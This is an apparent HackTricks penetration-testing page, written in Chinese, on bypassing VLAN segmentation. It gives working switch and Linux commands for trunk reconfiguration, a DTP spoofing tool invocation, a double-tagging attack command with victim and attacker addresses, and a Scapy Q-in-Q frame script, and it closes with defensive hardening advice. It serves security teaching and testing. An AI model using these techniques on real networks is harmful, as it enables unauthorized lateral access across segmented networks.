124 lines
5.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Lateral VLAN Segmentation Bypass
{{#include ../../banners/hacktricks-training.md}}
如果可以直接访问交换机则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式为目标VLAN建立虚拟接口并设置IP地址具体取决于场景可以是动态DHCP或静态的**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。**
最初需要识别特定的连接端口。这通常可以通过CDP消息完成或通过**include**掩码搜索端口。
**如果CDP无法操作可以尝试通过搜索MAC地址进行端口识别**
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
在切换到 trunk 模式之前,应编制现有 VLAN 的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过 trunk 访问各种 VLAN。例如正在使用的端口与 VLAN 10 相关联。
```
SW1# show vlan brief
```
**切换到干线模式需要进入接口配置模式**:
```
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
```
切换到 trunk 模式会暂时中断连接,但随后可以恢复。
然后创建虚拟接口,分配 VLAN ID并激活
```bash
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
```
随后通过DHCP发出地址请求。或者在DHCP不可行的情况下可以手动配置地址
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
在接口上手动设置静态IP地址的示例VLAN 10
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
连接性通过向VLAN 10、20、50和60的默认网关发起ICMP请求进行测试。
最终这个过程使得绕过VLAN分段成为可能从而促进对任何VLAN网络的无限制访问并为后续操作奠定基础。
---
## 其他VLAN跳跃技术无特权交换机CLI
前一种方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中攻击者通常连接到一个**常规接入端口**。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动
### 1. 使用动态干道协议DTP进行交换机欺骗
保持DTP启用的Cisco交换机会乐于协商干道如果对端声称是交换机。制作一个**DTP “desirable”**或**“trunk”**帧将接入端口转换为一个802.1Q干道,承载*所有*允许的VLAN。
*Yersinia*和几个PoC自动化了这个过程
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
一旦端口切换到干道模式您可以创建802.1Q子接口并按照上一节所示进行转移。现代Linux内核不再需要*vconfig*;而是使用*ip link*
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. 双标记(原生 VLAN 滥用)
如果攻击者位于 **原生未标记VLAN**,则带有 *两个* 802.1Q 头的构造帧可以在端口被锁定为接入模式时“跳跃”到第二个 VLAN。 工具如 **VLANPWN DoubleTagging.py** (2022-2024 更新) 自动化了注入:
```bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
数据包逐步分析:
1. 外部标签 (1) 被第一个交换机剥离,因为它与本地 VLAN 匹配。
2. 内部标签 (20) 现在暴露;帧被转发到 VLAN 20 的干线。
该技术在 2025 年仍然有效,适用于将本地 VLAN 保持为默认并接受未标记帧的网络。
### 3. QinQ (802.1ad) 堆叠
许多企业核心支持 *Q-in-Q* 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意 802.1Q 标记的流量,以跨越安全区域。捕获 802.1ad 以太类型 0x88a8并尝试使用 Scapy 弹出外部标签:
```python
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
---
## 防御建议
1. 在所有面向用户的端口上禁用 DTP: `switchport mode access` + `switchport nonegotiate`
2. 将每个干线的本地 VLAN 更改为 **未使用的黑洞 VLAN** 并标记: `vlan dot1q tag native`
3. 在干线上修剪不必要的 VLAN: `switchport trunk allowed vlan 10,20`
4. 强制实施端口安全、DHCP 嗅探和动态 ARP 检查,以限制恶意的第二层活动。
5. 优先使用私有 VLAN 或 L3 分段,而不是仅依赖 802.1Q 分离。
---
## 参考文献
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN 攻击工具包 <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "什么是 VLAN 跳跃?" (2024年8月) <https://www.twingate.com/blog/glossary/vlan%20hopping>
{{#include ../../banners/hacktricks-training.md}}